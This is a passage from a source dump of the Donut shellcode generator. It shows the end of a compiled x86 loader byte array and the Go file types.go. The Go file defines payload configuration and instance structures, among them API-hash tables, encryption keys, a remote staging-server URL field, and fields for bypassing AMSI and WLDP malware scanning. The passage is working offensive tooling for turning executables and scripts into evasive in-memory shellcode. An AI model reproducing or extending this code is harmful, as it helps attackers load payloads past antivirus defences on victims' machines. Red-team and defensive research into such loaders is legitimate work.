1497 | 0x8b, 0x45, 0x08, 0x89, 0x45, 0xe0, 0x8b, 0x45, 0xc0, 0x8b, 0x55, 0xc4, 1498 | 0x89, 0x45, 0xf0, 0x89, 0x55, 0xf4, 0xc7, 0x45, 0xe8, 0x00, 0x00, 0x00, 1499 | 0x00, 0xc7, 0x45, 0xec, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x45, 0xe4, 0x00, 1500 | 0x00, 0x00, 0x00, 0xe9, 0xe9, 0x00, 0x00, 0x00, 0x8b, 0x55, 0xe0, 0x8b, 1501 | 0x45, 0xec, 0x01, 0xd0, 0x0f, 0xb6, 0x00, 0x84, 0xc0, 0x74, 0x0a, 0x83, 1502 | 0x7d, 0xec, 0x40, 0x0f, 0x85, 0x85, 0x00, 0x00, 0x00, 0xb8, 0x10, 0x00, 1503 | 0x00, 0x00, 0x2b, 0x45, 0xe8, 0x8d, 0x4d, 0xd0, 0x8b, 0x55, 0xe8, 0x01, 1504 | 0xca, 0x89, 0x44, 0x24, 0x08, 0xc7, 0x44, 0x24, 0x04, 0x00, 0x00, 0x00, 1505 | 0x00, 0x89, 0x14, 0x24, 0xe8, 0x2f, 0xfd, 0xff, 0xff, 0x8d, 0x55, 0xd0, 1506 | 0x8b, 0x45, 0xe8, 0x01, 0xd0, 0xc6, 0x00, 0x80, 0x83, 0x7d, 0xe8, 0x0b, 1507 | 0x76, 0x3a, 0x8b, 0x45, 0xf0, 0x8b, 0x55, 0xf4, 0x89, 0x44, 0x24, 0x04, 1508 | 0x89, 0x54, 0x24, 0x08, 0x8d, 0x45, 0xd0, 0x89, 0x04, 0x24, 0xe8, 0x9d, 1509 | 0xfe, 0xff, 0xff, 0x31, 0x45, 0xf0, 0x31, 0x55, 0xf4, 0xc7, 0x44, 0x24, 1510 | 0x08, 0x10, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x04, 0x00, 0x00, 0x00, 1511 | 0x00, 0x8d, 0x45, 0xd0, 0x89, 0x04, 0x24, 0xe8, 0xe4, 0xfc, 0xff, 0xff, 1512 | 0x8b, 0x45, 0xec, 0xc1, 0xe0, 0x03, 0x89, 0x45, 0xdc, 0xc7, 0x45, 0xe8, 1513 | 0x10, 0x00, 0x00, 0x00, 0x83, 0x45, 0xe4, 0x01, 0xeb, 0x1f, 0x8b, 0x55, 1514 | 0xe0, 0x8b, 0x45, 0xec, 0x01, 0xd0, 0x0f, 0xb6, 0x00, 0x89, 0xc1, 0x8d, 1515 | 0x55, 0xd0, 0x8b, 0x45, 0xe8, 0x01, 0xd0, 0x88, 0x08, 0x83, 0x45, 0xe8, 1516 | 0x01, 0x83, 0x45, 0xec, 0x01, 0x83, 0x7d, 0xe8, 0x10, 0x75, 0x26, 0x8b, 1517 | 0x45, 0xf0, 0x8b, 0x55, 0xf4, 0x89, 0x44, 0x24, 0x04, 0x89, 0x54, 0x24, 1518 | 0x08, 0x8d, 0x45, 0xd0, 0x89, 0x04, 0x24, 0xe8, 0x28, 0xfe, 0xff, 0xff, 1519 | 0x31, 0x45, 0xf0, 0x31, 0x55, 0xf4, 0xc7, 0x45, 0xe8, 0x00, 0x00, 0x00, 1520 | 0x00, 0x83, 0x7d, 0xe4, 0x00, 0x0f, 0x84, 0x0d, 0xff, 0xff, 0xff, 0x8b, 1521 | 0x45, 0xf0, 0x8b, 0x55, 0xf4, 0xc9, 0xc3, 0x90, 0x55, 0x89, 0xe5, 0x53, 1522 | 0x83, 0xec, 0x10, 0x8b, 0x45, 0x0c, 0x89, 0x45, 0xf4, 0x8b, 0x45, 0x08, 1523 | 0x89, 0x45, 0xf0, 0xc7, 0x45, 0xf8, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x39, 1524 | 0x8b, 0x45, 0xf8, 0x8d, 0x14, 0x85, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 1525 | 0xf4, 0x01, 0xd0, 0x8b, 0x55, 0xf8, 0x8d, 0x0c, 0x95, 0x00, 0x00, 0x00, 1526 | 0x00, 0x8b, 0x55, 0xf4, 0x01, 0xca, 0x8b, 0x0a, 0x8b, 0x55, 0xf8, 0x8d, 1527 | 0x1c, 0x95, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x55, 0xf0, 0x01, 0xda, 0x8b, 1528 | 0x12, 0x31, 0xca, 0x89, 0x10, 0x83, 0x45, 0xf8, 0x01, 0x83, 0x7d, 0xf8, 1529 | 0x03, 0x76, 0xc1, 0xc7, 0x45, 0xf8, 0x00, 0x00, 0x00, 0x00, 0xe9, 0xee, 1530 | 0x00, 0x00, 0x00, 0x8b, 0x45, 0xf4, 0x8b, 0x10, 0x8b, 0x45, 0xf4, 0x83, 1531 | 0xc0, 0x04, 0x8b, 0x00, 0x01, 0xc2, 0x8b, 0x45, 0xf4, 0x89, 0x10, 0x8b, 1532 | 0x45, 0xf4, 0x8d, 0x50, 0x04, 0x8b, 0x45, 0xf4, 0x83, 0xc0, 0x04, 0x8b, 1533 | 0x00, 0xc1, 0xc0, 0x05, 0x89, 0xc1, 0x8b, 0x45, 0xf4, 0x8b, 0x00, 0x31, 1534 | 0xc8, 0x89, 0x02, 0x8b, 0x45, 0xf4, 0x83, 0xc0, 0x08, 0x8b, 0x55, 0xf4, 1535 | 0x83, 0xc2, 0x08, 0x8b, 0x0a, 0x8b, 0x55, 0xf4, 0x83, 0xc2, 0x0c, 0x8b, 1536 | 0x12, 0x01, 0xca, 0x89, 0x10, 0x8b, 0x45, 0xf4, 0x83, 0xc0, 0x0c, 0x8b, 1537 | 0x55, 0xf4, 0x83, 0xc2, 0x0c, 0x8b, 0x12, 0x89, 0xd1, 0xc1, 0xc1, 0x08, 1538 | 0x8b, 0x55, 0xf4, 0x83, 0xc2, 0x08, 0x8b, 0x12, 0x31, 0xca, 0x89, 0x10, 1539 | 0x8b, 0x45, 0xf4, 0x83, 0xc0, 0x08, 0x8b, 0x55, 0xf4, 0x83, 0xc2, 0x08, 1540 | 0x8b, 0x0a, 0x8b, 0x55, 0xf4, 0x83, 0xc2, 0x04, 0x8b, 0x12, 0x01, 0xca, 1541 | 0x89, 0x10, 0x8b, 0x45, 0xf4, 0x8b, 0x00, 0xc1, 0xc0, 0x10, 0x89, 0xc2, 1542 | 0x8b, 0x45, 0xf4, 0x83, 0xc0, 0x0c, 0x8b, 0x00, 0x01, 0xc2, 0x8b, 0x45, 1543 | 0xf4, 0x89, 0x10, 0x8b, 0x45, 0xf4, 0x8d, 0x50, 0x0c, 0x8b, 0x45, 0xf4, 1544 | 0x83, 0xc0, 0x0c, 0x8b, 0x00, 0xc1, 0xc0, 0x0d, 0x89, 0xc1, 0x8b, 0x45, 1545 | 0xf4, 0x8b, 0x00, 0x31, 0xc8, 0x89, 0x02, 0x8b, 0x45, 0xf4, 0x83, 0xc0, 1546 | 0x04, 0x8b, 0x55, 0xf4, 0x83, 0xc2, 0x04, 0x8b, 0x12, 0x89, 0xd1, 0xc1, 1547 | 0xc1, 0x07, 0x8b, 0x55, 0xf4, 0x83, 0xc2, 0x08, 0x8b, 0x12, 0x31, 0xca, 1548 | 0x89, 0x10, 0x8b, 0x45, 0xf4, 0x83, 0xc0, 0x08, 0x8b, 0x55, 0xf4, 0x83, 1549 | 0xc2, 0x08, 0x8b, 0x12, 0xc1, 0xc2, 0x10, 0x89, 0x10, 0x83, 0x45, 0xf8, 1550 | 0x01, 0x83, 0x7d, 0xf8, 0x0f, 0x0f, 0x86, 0x08, 0xff, 0xff, 0xff, 0xc7, 1551 | 0x45, 0xf8, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x39, 0x8b, 0x45, 0xf8, 0x8d, 1552 | 0x14, 0x85, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xf4, 0x01, 0xd0, 0x8b, 1553 | 0x55, 0xf8, 0x8d, 0x0c, 0x95, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x55, 0xf4, 1554 | 0x01, 0xca, 0x8b, 0x0a, 0x8b, 0x55, 0xf8, 0x8d, 0x1c, 0x95, 0x00, 0x00, 1555 | 0x00, 0x00, 0x8b, 0x55, 0xf0, 0x01, 0xda, 0x8b, 0x12, 0x31, 0xca, 0x89, 1556 | 0x10, 0x83, 0x45, 0xf8, 0x01, 0x83, 0x7d, 0xf8, 0x03, 0x76, 0xc1, 0x90, 1557 | 0x83, 0xc4, 0x10, 0x5b, 0x5d, 0xc3, 0x55, 0x89, 0xe5, 0x53, 0x83, 0xec, 1558 | 0x28, 0x8b, 0x45, 0x10, 0x89, 0x45, 0xf8, 0x8b, 0x45, 0x0c, 0x89, 0x45, 1559 | 0xf0, 0xe9, 0xbd, 0x00, 0x00, 0x00, 0xc7, 0x45, 0xf4, 0x00, 0x00, 0x00, 1560 | 0x00, 0xeb, 0x19, 0x8b, 0x55, 0xf0, 0x8b, 0x45, 0xf4, 0x01, 0xd0, 0x0f, 1561 | 0xb6, 0x00, 0x8d, 0x4d, 0xdc, 0x8b, 0x55, 0xf4, 0x01, 0xca, 0x88, 0x02, 1562 | 0x83, 0x45, 0xf4, 0x01, 0x83, 0x7d, 0xf4, 0x0f, 0x76, 0xe1, 0x8d, 0x45, 1563 | 0xdc, 0x89, 0x44, 0x24, 0x04, 0x8b, 0x45, 0x08, 0x89, 0x04, 0x24, 0xe8, 1564 | 0x00, 0xfe, 0xff, 0xff, 0xb8, 0x10, 0x00, 0x00, 0x00, 0x83, 0x7d, 0x14, 1565 | 0x10, 0x0f, 0x46, 0x45, 0x14, 0x89, 0x45, 0xec, 0xc7, 0x45, 0xf4, 0x00, 1566 | 0x00, 0x00, 0x00, 0xeb, 0x26, 0x8b, 0x55, 0xf8, 0x8b, 0x45, 0xf4, 0x01, 1567 | 0xd0, 0x8b, 0x4d, 0xf8, 0x8b, 0x55, 0xf4, 0x01, 0xca, 0x0f, 0xb6, 0x1a, 1568 | 0x8d, 0x4d, 0xdc, 0x8b, 0x55, 0xf4, 0x01, 0xca, 0x0f, 0xb6, 0x12, 0x31, 1569 | 0xda, 0x88, 0x10, 0x83, 0x45, 0xf4, 0x01, 0x8b, 0x45, 0xf4, 0x3b, 0x45, 1570 | 0xec, 0x72, 0xd2, 0x8b, 0x45, 0xec, 0x29, 0x45, 0x14, 0x8b, 0x45, 0xec, 1571 | 0x01, 0x45, 0xf8, 0xc7, 0x45, 0xf4, 0x10, 0x00, 0x00, 0x00, 0xeb, 0x20, 1572 | 0x8b, 0x45, 0xf4, 0x8d, 0x50, 0xff, 0x8b, 0x45, 0xf0, 0x01, 0xd0, 0x0f, 1573 | 0xb6, 0x10, 0x83, 0xc2, 0x01, 0x88, 0x10, 0x0f, 0xb6, 0x00, 0x84, 0xc0, 1574 | 0x74, 0x02, 0xeb, 0x0b, 0x83, 0x6d, 0xf4, 0x01, 0x8b, 0x45, 0xf4, 0x85, 1575 | 0xc0, 0x7f, 0xd9, 0x83, 0x7d, 0x14, 0x00, 0x0f, 0x85, 0x39, 0xff, 0xff, 1576 | 0xff, 0x90, 0x83, 0xc4, 0x28, 0x5b, 0x5d, 0xc3, 0xff, 0xff, 0xff, 0xff, 1577 | 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00}; 1578 | 1579 | -------------------------------------------------------------------------------- /donut/types.go: -------------------------------------------------------------------------------- 1 | package donut 2 | 3 | import ( 4 | "bytes" 5 | "encoding/binary" 6 | "io" 7 | 8 | "github.com/google/uuid" 9 | ) 10 | 11 | const ( 12 | // entropy level 13 | DONUT_ENTROPY_NONE = 1 // don't use any entropy 14 | DONUT_ENTROPY_RANDOM = 2 // use random names 15 | DONUT_ENTROPY_DEFAULT = 3 // use random names + symmetric encryption 16 | 17 | DONUT_MAX_PARAM = 8 // maximum number of parameters passed to method 18 | DONUT_MAX_NAME = 256 19 | DONUT_MAX_DLL = 8 // maximum number of DLL supported by instance 20 | DONUT_MAX_URL = 256 21 | DONUT_MAX_MODNAME = 8 22 | DONUT_SIG_LEN = 8 // 64-bit string to verify decryption ok 23 | DONUT_VER_LEN = 32 24 | DONUT_DOMAIN_LEN = 8 25 | 26 | MARU_MAX_STR = 64 27 | MARU_BLK_LEN = 16 28 | MARU_HASH_LEN = 8 29 | MARU_IV_LEN = 8 30 | 31 | DONUT_RUNTIME_NET4 = "v4.0.30319" 32 | 33 | NTDLL_DLL = "ntdll.dll" 34 | KERNEL32_DLL = "kernel32.dll" 35 | SHELL32_DLL = "shell32.dll" 36 | ADVAPI32_DLL = "advapi32.dll" 37 | CRYPT32_DLL = "crypt32.dll" 38 | MSCOREE_DLL = "mscoree.dll" 39 | OLE32_DLL = "ole32.dll" 40 | OLEAUT32_DLL = "oleaut32.dll" 41 | WININET_DLL = "wininet.dll" 42 | COMBASE_DLL = "combase.dll" 43 | USER32_DLL = "user32.dll" 44 | SHLWAPI_DLL = "shlwapi.dll" 45 | ) 46 | 47 | // DonutArch - CPU architecture type (32, 64, or 32+64) 48 | type DonutArch int 49 | 50 | const ( 51 | // X32 - 32bit 52 | X32 DonutArch = iota 53 | // X64 - 64 bit 54 | X64 55 | // X84 - 32+64 bit 56 | X84 57 | ) 58 | 59 | type ModuleType int 60 | 61 | const ( 62 | DONUT_MODULE_NET_DLL ModuleType = 1 // .NET DLL. Requires class and method 63 | DONUT_MODULE_NET_EXE = 2 // .NET EXE. Executes Main if no class and method provided 64 | DONUT_MODULE_DLL = 3 // Unmanaged DLL, function is optional 65 | DONUT_MODULE_EXE = 4 // Unmanaged EXE 66 | DONUT_MODULE_VBS = 5 // VBScript 67 | DONUT_MODULE_JS = 6 // JavaScript or JScript 68 | DONUT_MODULE_XSL = 7 // XSL with JavaScript/JScript or VBscript embedded 69 | ) 70 | 71 | type InstanceType int 72 | 73 | const ( 74 | DONUT_INSTANCE_PIC InstanceType = 1 // Self-contained 75 | DONUT_INSTANCE_URL = 2 // Download from remote server 76 | ) 77 | 78 | type DonutConfig struct { 79 | Arch DonutArch 80 | Type ModuleType 81 | InstType InstanceType 82 | Parameters string // separated by , or ; 83 | 84 | Entropy uint32 85 | 86 | // new in 0.9.3 87 | Thread uint32 88 | Compress uint32 89 | Unicode uint32 90 | OEP uint64 91 | ExitOpt uint32 92 | Format uint32 93 | 94 | Domain string // .NET stuff 95 | Class string 96 | Method string // Used by Native DLL and .NET DLL 97 | Runtime string 98 | Bypass int 99 | 100 | Module *DonutModule 101 | ModuleName string 102 | URL string 103 | ModuleMac uint64 104 | ModuleData *bytes.Buffer 105 | 106 | inst *DonutInstance 107 | instLen uint32 108 | 109 | Verbose bool // Enable/Disable verbose output 110 | } 111 | 112 | type DonutModule struct { 113 | ModType uint32 // EXE, DLL, JS, VBS, XSL 114 | Thread uint32 // run entrypoint of unmanaged EXE as a thread 115 | Compress uint32 // indicates engine used for compression 116 | 117 | Runtime [DONUT_MAX_NAME]byte // runtime version for .NET EXE/DLL (donut max name = 256) 118 | Domain [DONUT_MAX_NAME]byte // domain name to use for .NET EXE/DLL 119 | Cls [DONUT_MAX_NAME]byte // name of class and optional namespace for .NET EXE/DLL 120 | Method [DONUT_MAX_NAME]byte // name of method to invoke for .NET DLL or api for unmanaged DLL 121 | Param [DONUT_MAX_NAME]byte // string parameters for DLL/EXE (donut max parm = 8) 122 | 123 | Unicode uint32 // convert command line to unicode for unmanaged DLL function 124 | Sig [DONUT_SIG_LEN]byte // random string to verify decryption 125 | Mac uint64 // to verify decryption was ok 126 | Zlen uint32 // compressed size of EXE/DLL/JS/VBS file 127 | Len uint32 // size of EXE/DLL/XSL/JS/VBS file 128 | Data [4]byte // data of EXE/DLL/XSL/JS/VBS file 129 | } 130 | 131 | func WriteField(w *bytes.Buffer, name string, i interface{}) { 132 | binary.Write(w, binary.LittleEndian, i) 133 | // todo: logging here 134 | } 135 | 136 | func (mod *DonutModule) WriteTo(w *bytes.Buffer) { 137 | WriteField(w, "ModType", mod.ModType) 138 | WriteField(w, "Thread", mod.Thread) 139 | WriteField(w, "Compress", mod.Compress) 140 | 141 | WriteField(w, "Runtime", mod.Runtime) 142 | WriteField(w, "Domain", mod.Domain) 143 | WriteField(w, "CLS", mod.Cls) 144 | WriteField(w, "Method", mod.Method) 145 | WriteField(w, "Param", mod.Param) 146 | 147 | WriteField(w, "Unicode", mod.Unicode) 148 | w.Write(mod.Sig[:DONUT_SIG_LEN]) 149 | WriteField(w, "Mac", mod.Mac) 150 | WriteField(w, "Zlen", mod.Zlen) 151 | WriteField(w, "Len", mod.Len) 152 | } 153 | 154 | type DonutInstance struct { 155 | Len uint32 // total size of instance 156 | 157 | //Key DonutCrypt // decrypts instance (32 bytes total = 16+16) 158 | KeyMk [CipherKeyLen]byte // master key 159 | KeyCtr [CipherBlockLen]byte // counter + nonce 160 | 161 | Iv uint64 // the 64-bit initial value for maru hash 162 | Hash [64]uint64 // holds up to 64 api hashes/addrs {api} 163 | 164 | ExitOpt uint32 // call RtlExitUserProcess to terminate the host process 165 | Entropy uint32 // indicates entropt option 166 | OEP uint64 // original entrypoint 167 | 168 | // everything from here is encrypted 169 | ApiCount uint32 // the 64-bit hashes of API required for instance to work 170 | DllNames [DONUT_MAX_NAME]byte // a list of DLL strings to load, separated by semi-colon 171 | 172 | Dataname [8]byte // ".data" 173 | Kernelbase [12]byte // "kernelbase" 174 | Amsi [8]byte // "amsi" 175 | Clr [4]byte // clr 176 | Wldp [8]byte // wldp 177 | 178 | CmdSyms [DONUT_MAX_NAME]byte // symbols related to command line 179 | ExitApi [DONUT_MAX_NAME]byte // exit-related API 180 | 181 | Bypass uint32 // indicates behaviour of byassing AMSI/WLDP 182 | WldpQuery [32]byte // WldpQueryDynamicCodeTrust 183 | WldpIsApproved [32]byte // WldpIsClassInApprovedList 184 | AmsiInit [16]byte // AmsiInitialize 185 | AmsiScanBuf [16]byte // AmsiScanBuffer 186 | AmsiScanStr [16]byte // AmsiScanString 187 | 188 | Wscript [8]byte // WScript 189 | Wscript_exe [12]byte // wscript.exe 190 | 191 | XIID_IUnknown uuid.UUID 192 | XIID_IDispatch uuid.UUID 193 | 194 | // GUID required to load .NET assemblies 195 | XCLSID_CLRMetaHost uuid.UUID 196 | XIID_ICLRMetaHost uuid.UUID 197 | XIID_ICLRRuntimeInfo uuid.UUID 198 | XCLSID_CorRuntimeHost uuid.UUID 199 | XIID_ICorRuntimeHost uuid.UUID 200 | XIID_AppDomain uuid.UUID 201 | 202 | // GUID required to run VBS and JS files 203 | XCLSID_ScriptLanguage uuid.UUID // vbs or js 204 | XIID_IHost uuid.UUID // wscript object 205 | XIID_IActiveScript uuid.UUID // engine 206 | XIID_IActiveScriptSite uuid.UUID // implementation 207 | XIID_IActiveScriptSiteWindow uuid.UUID // basic GUI stuff 208 | XIID_IActiveScriptParse32 uuid.UUID // parser 209 | XIID_IActiveScriptParse64 uuid.UUID 210 | 211 | Type uint32 // DONUT_INSTANCE_PIC or DONUT_INSTANCE_URL 212 | 213 | Url [DONUT_MAX_URL]byte // staging server hosting donut module 214 | Req [8]byte // just a buffer for "GET" 215 | 216 | Sig [DONUT_MAX_NAME]byte // string to hash 217 | Mac uint64 // to verify decryption ok 218 | 219 | ModKeyMk [CipherKeyLen]byte // master key 220 | ModKeyCtr [CipherBlockLen]byte // counter + nonce 221 | 222 | Mod_len uint64 // total size of module 223 | } 224 | 225 | func (inst *DonutInstance) WriteTo(w *bytes.Buffer) { 226 | //start := w.Len() 227 | WriteField(w, "Len", inst.Len) 228 | WriteField(w, "KeyMk", inst.KeyMk) 229 | WriteField(w, "KeyCtr", inst.KeyCtr) 230 | for i := 0; i < 4; i++ { // padding to 8-byte alignment after 4 byte field 231 | w.WriteByte(0) 232 | } 233 | WriteField(w, "Iv", inst.Iv) 234 | WriteField(w, "Hash", inst.Hash) 235 | WriteField(w, "ExitOpt", inst.ExitOpt) 236 | WriteField(w, "Entropy", inst.Entropy) 237 | WriteField(w, "OEP", inst.OEP) 238 | 239 | WriteField(w, "ApiCount", inst.ApiCount) 240 | WriteField(w, "DllNames", inst.DllNames) 241 | 242 | WriteField(w, "Dataname", inst.Dataname) 243 | WriteField(w, "Kernelbase", inst.Kernelbase) 244 | WriteField(w, "Amsi", inst.Amsi) 245 | WriteField(w, "Clr", inst.Clr) 246 | WriteField(w, "Wldp", inst.Wldp) 247 | 248 | WriteField(w, "CmdSyms", inst.CmdSyms) 249 | WriteField(w, "ExitApi", inst.ExitApi) 250 | 251 | WriteField(w, "Bypass", inst.Bypass) 252 | WriteField(w, "WldpQuery", inst.WldpQuery) 253 | WriteField(w, "WldpIsApproved", inst.WldpIsApproved) 254 | WriteField(w, "AmsiInit", inst.AmsiInit) 255 | WriteField(w, "AmsiScanBuf", inst.AmsiScanBuf) 256 | WriteField(w, "AmsiScanStr", inst.AmsiScanStr) 257 | 258 | WriteField(w, "Wscript", inst.Wscript) 259 | WriteField(w, "WscriptExe", inst.Wscript_exe) 260 | 261 | swapUUID(w, inst.XIID_IUnknown) 262 | swapUUID(w, inst.XIID_IDispatch) 263 | 264 | swapUUID(w, inst.XCLSID_CLRMetaHost) 265 | swapUUID(w, inst.XIID_ICLRMetaHost) 266 | swapUUID(w, inst.XIID_ICLRRuntimeInfo) 267 | swapUUID(w, inst.XCLSID_CorRuntimeHost) 268 | swapUUID(w, inst.XIID_ICorRuntimeHost) 269 | swapUUID(w, inst.XIID_AppDomain) 270 | 271 | swapUUID(w, inst.XCLSID_ScriptLanguage) 272 | swapUUID(w, inst.XIID_IHost) 273 | swapUUID(w, inst.XIID_IActiveScript) 274 | swapUUID(w, inst.XIID_IActiveScriptSite) 275 | swapUUID(w, inst.XIID_IActiveScriptSiteWindow) 276 | swapUUID(w, inst.XIID_IActiveScriptParse32) 277 | swapUUID(w, inst.XIID_IActiveScriptParse64) 278 | 279 | WriteField(w, "Type", inst.Type) 280 | WriteField(w, "Url", inst.Url) 281 | WriteField(w, "Req", inst.Req) 282 | WriteField(w, "Sig", inst.Sig) 283 | WriteField(w, "Mac", inst.Mac) 284 | WriteField(w, "ModKeyMk", inst.ModKeyMk) 285 | WriteField(w, "ModKeCtr", inst.ModKeyCtr) 286 | WriteField(w, "Mod_len", inst.Mod_len) 287 | } 288 | 289 | type API_IMPORT struct { 290 | Module string 291 | Name string 292 | } 293 | 294 | var api_imports = []API_IMPORT{ 295 | API_IMPORT{Module: KERNEL32_DLL, Name: "LoadLibraryA"}, //0 296 | API_IMPORT{Module: KERNEL32_DLL, Name: "GetProcAddress"}, 297 | API_IMPORT{Module: KERNEL32_DLL, Name: "GetModuleHandleA"}, 298 | API_IMPORT{Module: KERNEL32_DLL, Name: "VirtualAlloc"}, 299 | API_IMPORT{Module: KERNEL32_DLL, Name: "VirtualFree"}, 300 | API_IMPORT{Module: KERNEL32_DLL, Name: "VirtualQuery"}, // 5 301 | API_IMPORT{Module: KERNEL32_DLL, Name: "VirtualProtect"}, 302 | API_IMPORT{Module: KERNEL32_DLL, Name: "Sleep"}, 303 | API_IMPORT{Module: KERNEL32_DLL, Name: "MultiByteToWideChar"}, 304 | API_IMPORT{Module: KERNEL32_DLL, Name: "GetUserDefaultLCID"}, 305 | API_IMPORT{Module: KERNEL32_DLL, Name: "WaitForSingleObject"}, //10 306 | API_IMPORT{Module: KERNEL32_DLL, Name: "CreateThread"}, 307 | API_IMPORT{Module: KERNEL32_DLL, Name: "GetThreadContext"}, 308 | API_IMPORT{Module: KERNEL32_DLL, Name: "GetCurrentThread"}, 309 | API_IMPORT{Module: KERNEL32_DLL, Name: "GetCommandLineA"}, 310 | API_IMPORT{Module: KERNEL32_DLL, Name: "GetCommandLineW"}, // 15 311 | 312 | API_IMPORT{Module: SHELL32_DLL, Name: "CommandLineToArgvW"}, 313 | 314 | API_IMPORT{Module: OLEAUT32_DLL, Name: "SafeArrayCreate"}, 315 | API_IMPORT{Module: OLEAUT32_DLL, Name: "SafeArrayCreateVector"}, 316 | API_IMPORT{Module: OLEAUT32_DLL, Name: "SafeArrayPutElement"}, 317 | API_IMPORT{Module: OLEAUT32_DLL, Name: "SafeArrayDestroy"}, // 20 318 | API_IMPORT{Module: OLEAUT32_DLL, Name: "SafeArrayGetLBound"}, 319 | API_IMPORT{Module: OLEAUT32_DLL, Name: "SafeArrayGetUBound"}, 320 | API_IMPORT{Module: OLEAUT32_DLL, Name: "SysAllocString"}, 321 | API_IMPORT{Module: OLEAUT32_DLL, Name: "SysFreeString"}, 322 | API_IMPORT{Module: OLEAUT32_DLL, Name: "LoadTypeLib"}, // 25 323 | 324 | API_IMPORT{Module: WININET_DLL, Name: "InternetCrackUrlA"}, 325 | API_IMPORT{Module: WININET_DLL, Name: "InternetOpenA"}, 326 | API_IMPORT{Module: WININET_DLL, Name: "InternetConnectA"}, 327 | API_IMPORT{Module: WININET_DLL, Name: "InternetSetOptionA"}, 328 | API_IMPORT{Module: WININET_DLL, Name: "InternetReadFile"}, // 30 329 | API_IMPORT{Module: WININET_DLL, Name: "InternetCloseHandle"}, 330 | API_IMPORT{Module: WININET_DLL, Name: "HttpOpenRequestA"}, 331 | API_IMPORT{Module: WININET_DLL, Name: "HttpSendRequestA"}, 332 | API_IMPORT{Module: WININET_DLL, Name: "HttpQueryInfoA"}, 333 | 334 | API_IMPORT{Module: MSCOREE_DLL, Name: "CorBindToRuntime"}, // 35 335 | API_IMPORT{Module: MSCOREE_DLL, Name: "CLRCreateInstance"}, 336 | 337 | API_IMPORT{Module: OLE32_DLL, Name: "CoInitializeEx"}, 338 | API_IMPORT{Module: OLE32_DLL, Name: "CoCreateInstance"}, 339 | API_IMPORT{Module: OLE32_DLL, Name: "CoUninitialize"}, 340 | 341 | API_IMPORT{Module: NTDLL_DLL, Name: "RtlEqualUnicodeString"}, // 40 342 | API_IMPORT{Module: NTDLL_DLL, Name: "RtlEqualString"}, 343 | API_IMPORT{Module: NTDLL_DLL, Name: "RtlUnicodeStringToAnsiString"}, 344 | API_IMPORT{Module: NTDLL_DLL, Name: "RtlInitUnicodeString"}, 345 | API_IMPORT{Module: NTDLL_DLL, Name: "RtlExitUserThread"}, 346 | API_IMPORT{Module: NTDLL_DLL, Name: "RtlExitUserProcess"}, // 45 347 | API_IMPORT{Module: NTDLL_DLL, Name: "RtlCreateUnicodeString"}, 348 | API_IMPORT{Module: NTDLL_DLL, Name: "RtlGetCompressionWorkSpaceSize"}, 349 | API_IMPORT{Module: NTDLL_DLL, Name: "RtlDecompressBuffer"}, 350 | API_IMPORT{Module: NTDLL_DLL, Name: "NtContinue"}, 351 | 352 | API_IMPORT{Module: KERNEL32_DLL, Name: "AddVectoredExceptionHandler"}, // 50 353 | API_IMPORT{Module: KERNEL32_DLL, Name: "RemoveVectoredExceptionHandler"}, 354 | } 355 | 356 | // required to load .NET assemblies 357 | var ( //the first 6 bytes of these were int32+int16, need to be swapped on write 358 | xCLSID_CorRuntimeHost = uuid.UUID{ 359 | 0xcb, 0x2f, 0x67, 0x23, 0xab, 0x3a, 0x11, 0xd2, 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e} 360 | 361 | xIID_ICorRuntimeHost = uuid.UUID{ 362 | 0xcb, 0x2f, 0x67, 0x22, 0xab, 0x3a, 0x11, 0xd2, 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e} 363 | 364 | xCLSID_CLRMetaHost = uuid.UUID{ 365 | 0x92, 0x80, 0x18, 0x8d, 0x0e, 0x8e, 0x48, 0x67, 0xb3, 0xc, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde} 366 | 367 | xIID_ICLRMetaHost = uuid.UUID{ 368 | 0xD3, 0x32, 0xDB, 0x9E, 0xB9, 0xB3, 0x41, 0x25, 0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16} 369 | 370 | xIID_ICLRRuntimeInfo = uuid.UUID{ 371 | 0xBD, 0x39, 0xD1, 0xD2, 0xBA, 0x2F, 0x48, 0x6a, 0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91} 372 | 373 | xIID_AppDomain = uuid.UUID{ 374 | 0x05, 0xF6, 0x96, 0xDC, 0x2B, 0x29, 0x36, 0x63, 0xAD, 0x8B, 0xC4, 0x38, 0x9C, 0xF2, 0xA7, 0x13} 375 | 376 | // required to load VBS and JS files 377 | xIID_IUnknown = uuid.UUID{ 378 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46} 379 | 380 | xIID_IDispatch = uuid.UUID{ 381 | 0x00, 0x02, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46} 382 | 383 | xIID_IHost = uuid.UUID{ 384 | 0x91, 0xaf, 0xbd, 0x1b, 0x5f, 0xeb, 0x43, 0xf5, 0xb0, 0x28, 0xe2, 0xca, 0x96, 0x06, 0x17, 0xec} 385 | 386 | xIID_IActiveScript = uuid.UUID{ 387 | 0xbb, 0x1a, 0x2a, 0xe1, 0xa4, 0xf9, 0x11, 0xcf, 0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64} 388 | 389 | xIID_IActiveScriptSite = uuid.UUID{ 390 | 0xdb, 0x01, 0xa1, 0xe3, 0xa4, 0x2b, 0x11, 0xcf, 0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64} 391 | 392 | xIID_IActiveScriptSiteWindow = uuid.UUID{ 393 | 0xd1, 0x0f, 0x67, 0x61, 0x83, 0xe9, 0x11, 0xcf, 0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64} 394 | 395 | 